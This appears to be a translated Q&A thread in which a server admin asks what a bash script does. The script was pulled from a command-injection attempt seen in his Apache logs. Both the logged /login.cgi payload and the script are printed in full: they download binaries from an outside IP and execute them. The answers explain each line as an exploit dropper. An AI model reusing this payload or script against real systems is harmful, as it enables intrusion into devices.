O que esse script bash faz? [Hack Attempt]

30

Eu tenho notado nos logs de apache de meus servidores, as seguintes linhas estranhas ultimamente:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Então, criei um filtro personalizado do Fail2Ban e comecei a proibir os IPs que solicitam esses URLs /login.cgi.

Mas eu estava curioso para saber o que eles estavam tentando fazer, então eu puxei o script que eles estão tentando executar e não consigo descobrir o que exatamente ele faz. Algo sobre como remover pastas de arquivos em / var e / tmp?

De qualquer forma, aqui está:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
    
por ndom91 08.09.2018 / 10:11

2 respostas

42

Linha por linha:

#!/bin/sh

Estabelece o shell sh , o que for, como a linha shebang. sh%20/tmp/ks na solicitação sobrescreve isso, portanto, essa linha é tratada como um comentário normal e ignorada.

u="asgknskjdgn"

Declara um nome arbitrário, presumivelmente para evitar colidir com outros nomes de arquivos. Não sei por que eles não usam apenas mktemp , mas talvez isso não esteja disponível em todas as plataformas.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Enumera várias arquiteturas de CPU comuns.

http_server="80.211.173.159"
http_port=80

O servidor que possui o exploit.

cd /tmp/||cd /var/

Tenta mudar o diretório para algum lugar em que seu servidor da web possa criar arquivos. Acredito que o SELinux ajudará com isso, impondo regras muito mais rígidas sobre o que o servidor da Web pode fazer do que o sistema de arquivos faz sozinho.

for name in $bin_names
    do

Para cada arquitetura de CPU…

    rm -rf $u

Remove programas de exploração previamente experimentados. Desnecessário por causa da próxima linha, portanto, pode ser ignorado.

    cp $SHELL $u

Copia o executável do shell atual ( /bin/sh ). Pode ser ignorado por causa da linha após o próximo.

    chmod 777 $u

Faz com que todos tenham acesso total ao novo arquivo. Isso deveria ter sido feito após o comando wget , que é um sinal de um novato de script de shell ou de uma técnica de direcionamento incorreto.

    >$u

Esvazia o arquivo. Sem sentido por causa da próxima linha.

    wget http://$http_server:$http_port/$name -O -> $u

Substitui o arquivo pelo script de exploração dessa arquitetura. -O -> $u poderia ter sido escrito -O - > $u (o hífen indica que o download deve ser gravado na saída padrão), o que equivale a -O $u .

    ./$u $name

Executa o script de exploração com a arquitetura como o primeiro argumento.

done

Termina o loop.

Parece que este é um script de tentativa de exploração trivial, que tenta explorações conhecidas contra várias plataformas de CPU. Eu não sei porque substitui $u três vezes, mas essas operações podem simplesmente ser restos de uma iteração anterior do script. Presumivelmente, essa versão anterior tinha as explorações codificadas em vez de serem servidas dinamicamente - a primeira é mais fácil, mas quase garante que o script será menos eficaz com o tempo, à medida que os bugs são corrigidos.

    
por 08.09.2018 / 11:00
12

O wget é a principal linha perigosa.

O for name in $bin_names está trabalhando na lista de plataformas e, para cada plataforma, ele está limpando um diretório temporário, copiando um shell e tornando-o acessível a todos.

Em seguida, ele faz o download de um arquivo usando wget e, em seguida, o executa usando o programa shell que acabou de ser copiado.

O script está basicamente tentando baixar uma série de executáveis ou scripts para cada plataforma possível e esfregando-os contra o sistema, na esperança de que ele possa comprometer ainda mais o sistema.

    
por 08.09.2018 / 10:53